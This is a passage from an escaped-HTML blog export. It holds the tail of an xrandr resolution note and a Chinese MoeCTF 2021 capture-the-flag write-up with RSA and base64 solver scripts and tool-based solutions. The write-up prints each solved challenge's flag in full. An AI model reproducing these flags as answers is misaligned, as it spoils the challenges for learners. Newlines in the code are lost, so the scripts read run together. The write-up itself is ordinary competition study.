class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"保存分辨率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#%E4%BF%9D%E5%AD%98%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"保存分辨率\"\u003e\u003c/a\u003e保存分辨率\u003c/h3\u003e\u003cp\u003e这样修改之后重启就又没有了,所以保存配置\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/profile\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在文件 \u003cstrong\u003e末尾\u003c/strong\u003e 加上\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e保存退出\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"来点成品\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#%E6%9D%A5%E7%82%B9%E6%88%90%E5%93%81\" class=\"headerlink\" title=\"来点成品\"\u003e\u003c/a\u003e来点成品\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/10/09/sCnVyacZrL2oKxl.jpg\" alt=\"psc.jpg\" style=\"zoom:67%;\"/\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/b368/"},{"title":"MoeCTF 2021 WriteUp","time":"2021-09-21T12:15:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"MoeCTF-2021-WriteUp\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#MoeCTF-2021-WriteUp\" class=\"headerlink\" title=\"MoeCTF 2021 WriteUp\"\u003e\u003c/a\u003eMoeCTF 2021 WriteUp\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e没想到摸鱼摸到第9了(感谢Hidden了的师傅们(逃\u003c/del\u003e\u003c/p\u003e\u003cp\u003e挺菜的边做边学。\u003c/p\u003e\u003cp\u003e这次主要做了做 \u003ccode\u003eMisc\u003c/code\u003e 和 \u003ccode\u003eWeb\u003c/code\u003e ,其他的就看了看前面几个开了开视野(\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e题目全部在 \u003ccode\u003eWindows 7\u003c/code\u003e 环境下做出\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"目录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"目录\"\u003e\u003c/a\u003e目录\u003c/h2\u003e\u003ch3 id=\"Crypto(4-x2F-14)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Crypto%EF%BC%884-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Crypto(4/14)\"\u003e\u003c/a\u003eCrypto(4/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eCryptography入门指北(略)\u003c/li\u003e\u003cli\u003ebeginOfCrypto\u003c/li\u003e\u003cli\u003eBabyMultiple\u003c/li\u003e\u003cli\u003eLazyRSA\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Reverse(2-x2F-14)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Reverse%EF%BC%882-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Reverse(2/14)\"\u003e\u003c/a\u003eReverse(2/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003e逆向工程入门指北(略)\u003c/li\u003e\u003cli\u003ewelcome_to_the_world_of_re\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Classical-Cryptography(1-x2F-6)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Classical-Cryptography%EF%BC%881-x2F-6%EF%BC%89\" class=\"headerlink\" title=\"Classical Cryptography(1/6)\"\u003e\u003c/a\u003eClassical Cryptography(1/6)\u003c/h3\u003e\u003col\u003e\u003cli\u003eAugustine’s Way\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Bonus-0-x2F-1\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Bonus-0-x2F-1\" class=\"headerlink\" title=\"Bonus(0/1)\"\u003e\u003c/a\u003eBonus(0/1)\u003c/h3\u003e\u003ch3 id=\"MISC-12-x2F-12)之前是13个来着\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#MISC-12-x2F-12%EF%BC%89%E4%B9%8B%E5%89%8D%E6%98%AF13%E4%B8%AA%E6%9D%A5%E7%9D%80\" class=\"headerlink\" title=\"MISC(12/12)之前是13个来着\"\u003e\u003c/a\u003eMISC(12/12)\u003cdel\u003e之前是13个来着\u003c/del\u003e\u003c/h3\u003e\u003col\u003e\u003cli\u003eMisc入门指北(略)\u003c/li\u003e\u003cli\u003efind_me\u003c/li\u003e\u003cli\u003eMacross\u003c/li\u003e\u003cli\u003eHomework\u003c/li\u003e\u003cli\u003eflipflipflip\u003c/li\u003e\u003cli\u003eWhite Album\u003c/li\u003e\u003cli\u003ePhone Call\u003c/li\u003e\u003cli\u003e社工题\u003c/li\u003e\u003cli\u003e好 康 的\u003c/li\u003e\u003cli\u003eeasyForensics\u003c/li\u003e\u003cli\u003eR P G\u003c/li\u003e\u003cli\u003e诺亚的日记\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Pwn(3-x2F-11)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Pwn%EF%BC%883-x2F-11%EF%BC%89\" class=\"headerlink\" title=\"Pwn(3/11)\"\u003e\u003c/a\u003ePwn(3/11)\u003c/h3\u003e\u003col\u003e\u003cli\u003ePwn入门指北(略)\u003c/li\u003e\u003cli\u003etest_your_nc\u003c/li\u003e\u003cli\u003eInt_overflow\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Web(9-x2F-14)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Web%EF%BC%889-x2F-14%EF%BC%89\" class=\"headerlink\" title=\"Web(9/14)\"\u003e\u003c/a\u003eWeb(9/14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eWeb入门指北(略)\u003c/li\u003e\u003cli\u003eWeb安全入门指北—GET\u003c/li\u003e\u003cli\u003eWeb安全入门指北—小饼干\u003c/li\u003e\u003cli\u003e2048\u003c/li\u003e\u003cli\u003eWeb_Inc\u003c/li\u003e\u003cli\u003eezinclude\u003c/li\u003e\u003cli\u003ebabeRCE\u003c/li\u003e\u003cli\u003eDo you know HTTP?\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"问卷题-1-x2F-2\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#%E9%97%AE%E5%8D%B7%E9%A2%98-1-x2F-2\" class=\"headerlink\" title=\"问卷题(1/2)\"\u003e\u003c/a\u003e问卷题(1/2)\u003c/h3\u003e\u003col\u003e\u003cli\u003e信息统计(略)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Crypto\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Crypto\" class=\"headerlink\" title=\"Crypto\"\u003e\u003c/a\u003eCrypto\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003ePython 真是绝绝子!\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"02-beginOfCrypto\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-beginOfCrypto\" class=\"headerlink\" title=\"02 beginOfCrypto\"\u003e\u003c/a\u003e02 beginOfCrypto\u003c/h3\u003e\u003cp\u003e打开下载的文件发现下面有申必的数字,然后再看上面有 \u003ccode\u003eflag = xxx\u003c/code\u003e , 再看一眼代码,应该是把字符通过申必的方法转换成申必的数字,然后先赋值 \u003ccode\u003eflag = \u0026#34;moectf\u0026#34;\u003c/code\u003e 发现和前面几个数字对上了,然后用只能人工方法将26个字母和几个符号带进去都看了一遍值,找到了flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{c0me_on!begin_your_Crypt0_c4r33r}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-BabyMultiple\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-BabyMultiple\" class=\"headerlink\" title=\"03 BabyMultiple\"\u003e\u003c/a\u003e03 BabyMultiple\u003c/h3\u003e\u003cp\u003e和上一题一样,带进去不同字符经过处理变成其他申必字符,然后利用智能人工全部带了一遍,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0u_4r3_gr34t_47_Mu17ic4ti0n}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 04 LazyRSA\u003cp\u003e去网上大概查了一下原理,然后对着教程里的代码改了一下\u003c/p\u003e\u003cp\u003e读的博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/hiwuchong/p/9069392.html\"\u003ehttps://www.cnblogs.com/hiwuchong/p/9069392.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/carroll_/article/details/79975226\"\u003ehttps://blog.csdn.net/carroll_/article/details/79975226\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Ahuuua/article/details/108830834\"\u003ehttps://blog.csdn.net/Ahuuua/article/details/108830834\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_41818069/article/details/106532665\"\u003ehttps://blog.csdn.net/weixin_41818069/article/details/106532665\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Higgerw/p/14289041.html\"\u003ehttps://www.cnblogs.com/Higgerw/p/14289041.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\"\u003ehttp://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_41429081/article/details/103403957\"\u003ehttps://blog.csdn.net/qq_41429081/article/details/103403957\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/tinyzhao/article/details/52681634\"\u003ehttps://blog.csdn.net/tinyzhao/article/details/52681634\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e Crypto\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eUtil\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003enumber \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e gmpy2\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e binasciip \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的p\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ec \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的c\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e n \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e p\u003cspan class=\"token operator\"\u003e*\u003c/span\u003eqe \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10001\u003c/span\u003ed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e gmpy2\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einvert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ee\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ep\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003em \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003epow\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ec\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ed\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003en\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# c = pow(m,e,n)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebinascii\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eunhexlify\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003estrip\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;L\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{w0w_yOU_Know_h0w_70_d3crypt_th3_RSA}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Reverse\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Reverse\" class=\"headerlink\" title=\"Reverse\"\u003e\u003c/a\u003eReverse\u003c/h2\u003e\u003ch3 id=\"02-welcome-to-the-world-of-re\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-welcome-to-the-world-of-re\" class=\"headerlink\" title=\"02 welcome_to_the_world_of_re\"\u003e\u003c/a\u003e02 welcome_to_the_world_of_re\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e之前找简单软件注册码的法子\u003c/del\u003e\u003c/p\u003e\u003cp\u003e直接拖进 \u003ccode\u003eOD\u003c/code\u003e 能找到,拖进文本也行(\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/RwJMH68qB2hKjIE.png\" alt=\"re1.PNG\" style=\"zoom:80%;\"/\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZL6sevtD1lGIrzk.png\" alt=\"re2\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{W31C0Me_t0_m03CTF_2021_w0o0o0oooo0ooooo0o0oooo0!!!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Classical-Cryptography\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Classical-Cryptography\" class=\"headerlink\" title=\"Classical Cryptography\"\u003e\u003c/a\u003eClassical Cryptography\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e看的时候离结束还有半天了,就看了第一个\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"01-Classical-Cryptography\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#01-Classical-Cryptography\" class=\"headerlink\" title=\"01 Classical Cryptography\"\u003e\u003c/a\u003e01 Classical Cryptography\u003c/h3\u003e\u003cp\u003e前几个和 \u003ccode\u003emoectf\u003c/code\u003e 对比了一下发现是每个字母后移了一位\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{e3sy_Au9u1ne!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Misc\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#Misc\" class=\"headerlink\" title=\"Misc\"\u003e\u003c/a\u003eMisc\u003c/h2\u003e\u003ch3 id=\"02-find-me\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#02-find-me\" class=\"headerlink\" title=\"02 find_me\"\u003e\u003c/a\u003e02 find_me\u003c/h3\u003e\u003cp\u003e拖进 \u003ccode\u003e010 Editor\u003c/code\u003e\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{hs_g1v3_u_fl@g}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Macross\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#03-Macross\" class=\"headerlink\" title=\"03 Macross\"\u003e\u003c/a\u003e03 Macross\u003c/h3\u003e\u003cp\u003e百度搜了半天不晓得这是啥,然后上 Google 搜出来是个记录鼠标移动的软件\u003cdel\u003e(Google真是绝绝子)\u003c/del\u003e,下载安装,然后打开 Windows 图画,运行文件,得到名画\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/BNxQez71C68ObY9.png\" alt=\"Mar\" style=\"zoom:80%;\"/\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Rec0rder_15_Funny}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Homework\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#04-Homework\" class=\"headerlink\" title=\"04 Homework\"\u003e\u003c/a\u003e04 Homework\u003c/h3\u003e\u003cp\u003e先看了一遍啥也没找到,然后先全选清除格式发现半个flag,然后用 \u003ccode\u003e7-zip\u003c/code\u003e 解压出来直接看 \u003ccode\u003exml\u003c/code\u003e 里东西了,搜 \u003ccode\u003e}\u003c/code\u003e,找到后一半,当然在 Word 里搜 \u003ccode\u003e{\u003c/code\u003e 发现是个文本框,拿到后半段flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{0h_U_f1nd_m3!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-flipflipflip\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#05-flipflipflip\" class=\"headerlink\" title=\"05 flipflipflip\"\u003e\u003c/a\u003e05 flipflipflip\u003c/h3\u003e\u003cp\u003e这个题可太折磨人了……\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/1go0/p/9977359.html\"\u003ehttps://www.cnblogs.com/1go0/p/9977359.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/mq0036/p/6544055.html\"\u003ehttps://www.cnblogs.com/mq0036/p/6544055.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\"\u003ehttps://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.it1352.com/904413.html\"\u003ehttps://www.it1352.com/904413.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnpython.com/qa/153478\"\u003ehttps://www.cnpython.com/qa/153478\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/h-zhang/p/10568028.html\"\u003ehttps://www.cnblogs.com/h-zhang/p/10568028.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/zuferj115/p/11547486.html\"\u003ehttps://www.cnblogs.com/zuferj115/p/11547486.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u010065754/article/details/81710160\"\u003ehttps://blog.csdn.net/u010065754/article/details/81710160\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/erchun/p/11766408.html\"\u003ehttps://www.cnblogs.com/erchun/p/11766408.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\"\u003ehttps://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_43742794/article/details/104210963\"\u003ehttps://blog.csdn.net/weixin_43742794/article/details/104210963\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/qsmyjz/p/11987815.html\"\u003ehttps://www.cnblogs.com/qsmyjz/p/11987815.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我超,100多MB的字符串,刚开始没头绪最后xjb猜是base64,那么大文件得整个脚本,然后网上搜\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users(后面文件路径省略了)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;==\u0026#34;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\Users(后面文件路径省略了)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase64\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eb64decode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token 